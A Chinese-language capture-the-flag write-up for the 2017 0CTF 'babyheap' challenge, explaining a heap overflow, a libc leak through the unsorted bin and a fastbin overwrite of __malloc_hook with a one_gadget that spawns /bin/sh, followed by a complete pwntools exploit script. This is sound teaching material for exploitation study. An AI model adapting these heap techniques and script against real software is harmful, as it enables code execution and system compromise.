2017 0ctf babyheap

0x00 废话

考完试了,一学期结束,我还是这么菜。

0x01 程序分析

很常规的一个堆利用题目了,各个函数功能块都很简单,主函数如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  chunk *head; // [rsp+8h] [rbp-8h]

  head = (chunk *)init_my();
  while ( 1 )
  {
    menu();
    read_num();
    switch ( (unsigned __int64)off_14F4 )
    {
      case 1uLL:
        add(head);
        break;
      case 2uLL:
        fill(head);
        break;
      case 3uLL:
        delete(head);
        break;
      case 4uLL:
        dump(head);
        break;
      case 5uLL:
        return 0LL;
      default:
        continue;
    }
  }
}

结构体如下

00000000 chunk           struc ; (sizeof=0x18, mappedto_6)
00000000 inuse           dq ?
00000008 size            dq ?
00000010 str             dq ?                    ; offset
00000018 chunk           ends

基本就是对该结构的字符串进行修改和删除操作,结构体本身不会分配chunk,而是以全局数组元素的形式出现。

0x02 利用方式

在edit函数中,没有对size进行限制,这使得我们的输入可以溢出到后方chunk中,即存在堆溢出漏洞。思路如下:

1.泄漏libc->泄漏unsortbin

利用堆溢出,我们可以堆后方chunk的各个字段进行修改,包括大小和fd指针,这样我们能在任意地址分配chunk

要泄漏unsortbin地址,即必须同时存在一个inuse_chunk和一个已被unsortbin回收的chunk,且这两个chunk为同一chunk。这样inuse_chunk的数据即为unsortbin中的一个地址,它与libc的相对偏移固定。

在64位的情况下,unsortbin只会回收大于128字节的块,所以需要申请一个0x80大小的chunk。要使该chunk在free后依然处于inuse状态,必须让另一节点也指向该chunk,这里我们通过堆溢出使得free后的某一chunk的fd指向该0x80的chunk,由于不知道具体地址,所以该free后的chunk的fd必须指向另一free chunk,然后只覆盖最低1字节即可。重新分配后我们就能得到一个既是inuse_chunk也被unsortbin回收的chunk。需要注意的是,为了保证malloc和free的顺利进行,有时需要对该chunk的size进行修改;且为了防止0x80 chunk在free后合并到top chunk,需要多分配一个chunk保证其不连续性。

    #leak libc
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x80)
    delete(2)
    delete(1)
    payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80) #cover 0->fd low byte
    edit(0, len(payload), payload)
    #fastbin: 1->4

    add(0x10) #1

    payload = 'a'*0x10 + p64(0) + p64(0x21) #change size
    edit(3, len(payload), payload)

    add(0x10) #2(4)

    payload = 'a'*0x10 + p64(0) + p64(0x91) #change size
    edit(3, len(payload), payload)
    add(0x80)
    delete(4)
    
    #get unsortbin address
    menu()
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline('2')
    p.recvline()
    unsortbin_addr = u64(p.recv(8))
    libc_addr = unsortbin_addr - 0x3c4b78
    print hex(libc_addr)


2.修改__malloc_hook->伪造main_arean-0x33处chunk

这里就很常见了,本质上是伪造了一个chunk结构在__malloc_hook周围,然后__malloc_hook能作为数据部分供我们修改,最终写入一个one_gadget即可对malloc完成hook

    #cover __malloc_hook
    main_arena = libc_addr + 0x3c4b20
    add(0x60)
    delete(4)
    fake_chunk = main_arena - 0x33
    edit(2, len(p64(fake_chunk)), p64(fake_chunk)) #change fd
    add(0x60) #4
    add(0x60) #fake chunk
    '''
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    payload = 0x13*'a' + p64(libc_addr + 0x4526a)
    edit(6, len(payload), payload)
    menu()
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(0x40))

 

完整脚本: 

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

libc = ELF('./libc.so.6')

p = process('./babyheap')

def menu():
    p.recvuntil('Command: ')

def add(size):
    menu()
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvline()

def edit(idx, size, content):
    menu()
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.sendline(content)

def delete(idx):
    menu()
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def dump(idx):
    menu()
    p.sendline('4')
    p.recvuntil('Index')
    p.recvline()

def main():
    #leak libc
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x80)
    delete(2)
    delete(1)
    payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80)
    edit(0, len(payload), payload)
    #fastbin: 1->4

    add(0x10) #1

    payload = 'a'*0x10 + p64(0) + p64(0x21) #change size
    edit(3, len(payload), payload)

    add(0x10) #2(4)

    payload = 'a'*0x10 + p64(0) + p64(0x91) #change size
    edit(3, len(payload), payload)
    add(0x80)
    delete(4)

    menu()
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline('2')
    p.recvline()
    unsortbin_addr = u64(p.recv(8))
    libc_addr = unsortbin_addr - 0x3c4b78
    print hex(libc_addr)

    #cover __malloc_hook
    main_arena = libc_addr + 0x3c4b20
    add(0x60)
    delete(4)
    fake_chunk = main_arena - 0x33
    edit(2, len(p64(fake_chunk)), p64(fake_chunk)) #change fd
    add(0x60) #4
    add(0x60) #fake chunk
    '''
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    payload = 0x13*'a' + p64(libc_addr + 0x4526a)
    edit(6, len(payload), payload)
    menu()
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(0x40))

    p.interactive()

if __name__ == '__main__':
    main()

 

你可能感兴趣的:(pwn,CTF)